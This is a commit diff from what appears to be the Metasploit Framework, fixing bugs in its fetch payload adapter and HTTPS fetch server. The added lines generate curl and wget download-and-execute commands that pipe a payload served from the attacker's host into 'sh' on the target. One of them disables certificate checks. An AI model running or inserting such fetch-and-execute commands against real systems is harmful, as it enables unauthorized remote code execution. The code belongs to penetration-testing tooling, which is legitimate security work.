Skip to content

Commit 3717595

Browse files
committed
Fix some https bugs and generate non-piped commands properly
1 parent d897ba8 commit 3717595

File tree

4 files changed

+21
-18
lines changed

4 files changed

+21
-18
lines changed

lib/msf/core/payload/adapter/fetch.rb

Lines changed: 8 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -87,14 +87,10 @@ def generate(opts = {})
8787
opts[:code] = super
8888
@srvexe = generate_payload_exe(opts)
8989
if datastore['FETCH_PIPE']
90-
@pipe_cmd = '(' + generate_fetch_commands + ')'
91-
vprint_status(@pipe_cmd)
90+
@pipe_cmd = generate_fetch_commands
91+
vprint_status("Command served: #{@pipe_cmd}")
9292
cmd = generate_pipe_command
93-
if datastore['FETCH_FILELESS']
94-
cmd << 'bash'
95-
else
96-
cmd << 'sh'
97-
end else
93+
else
9894
cmd = generate_fetch_commands
9995
end
10096
vprint_status("Command to run on remote host: #{cmd}")
@@ -313,11 +309,11 @@ def _generate_curl_command
313309
def _generate_curl_pipe
314310
case fetch_protocol
315311
when 'HTTP'
316-
pipe_cmd = "curl -s http://#{_download_pipe} | "
312+
return "curl -s http://#{_download_pipe} | sh"
317313
when 'HTTPS'
318-
pipe_cmd = "curl -sk https://#{_download_pipe} | "
314+
return "curl -sk https://#{_download_pipe} | sh"
319315
when 'TFTP'
320-
pipe_cmd = "curl -s tftp://#{_download_pipe} | "
316+
return "curl -s tftp://#{_download_pipe} | sh"
321317
else
322318
fail_with(Msf::Module::Failure::BadConfig, 'Unsupported Binary Selected')
323319
end
@@ -387,9 +383,9 @@ def _generate_wget_command
387383
def _generate_wget_pipe
388384
case fetch_protocol
389385
when 'HTTPS'
390-
return "wget --no-check-certificate -qO - https://#{_download_pipe} | "
386+
return "wget --no-check-certificate -qO - https://#{_download_pipe} | sh"
391387
when 'HTTP'
392-
return "wget -qO - http://#{_download_pipe} | "
388+
return "wget -qO - http://#{_download_pipe} | sh"
393389
else
394390
return nil
395391
end

lib/msf/core/payload/adapter/fetch/https.rb

Lines changed: 10 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -11,16 +11,23 @@ def initialize(*args)
1111

1212
def cleanup_handler
1313
if @fetch_service
14-
cleanup_http_fetch_service(@fetch_service, @delete_resource)
14+
cleanup_http_fetch_service(@fetch_service, @myresources)
1515
@fetch_service = nil
1616
end
1717

1818
super
1919
end
2020

2121
def setup_handler
22-
@fetch_service = start_https_fetch_handler(srvname, @srvexe) unless datastore['FetchHandlerDisable']
22+
unless datastore['FetchHandlerDisable']
23+
@fetch_service = start_https_fetch_handler(srvname) unless datastore['FetchHandlerDisable']
24+
escaped_uri = ('/' + srvuri).gsub('//', '/')
25+
add_resource(@fetch_service, escaped_uri, @srvexe)
26+
unless @pipe_uri.nil?
27+
uri = ('/' + @pipe_uri).gsub('//', '/')
28+
add_resource(@fetch_service, uri, @pipe_cmd)
29+
end
30+
end
2331
super
2432
end
25-
2633
end

lib/msf/core/payload/adapter/fetch/server/https.rb

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,7 @@ def ssl_version
4242
datastore['FetchSSLVersion']
4343
end
4444

45-
def start_https_fetch_handler(srvname, srvexe)
46-
start_http_fetch_handler(srvname, srvexe, true, ssl_cert, ssl_compression, ssl_cipher, ssl_version)
45+
def start_https_fetch_handler(srvname)
46+
start_http_fetch_handler(srvname, true, ssl_cert, ssl_compression, ssl_cipher, ssl_version)
4747
end
4848
end

modules/payloads/adapters/cmd/windows/smb/x64.rb

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@ def initialize(info = {})
2020
'AdaptedPlatform' => 'win'
2121
)
2222
)
23-
deregister_options('FETCH_DELETE', 'FETCH_SRVPORT', 'FETCH_WRITABLE_DIR')
23+
deregister_options('FETCH_DELETE', 'FETCH_SRVPORT', 'FETCH_WRITABLE_DIR', 'FETCH_FILENAME')
2424
end
2525

2626
def srvport

0 commit comments

Comments
 (0)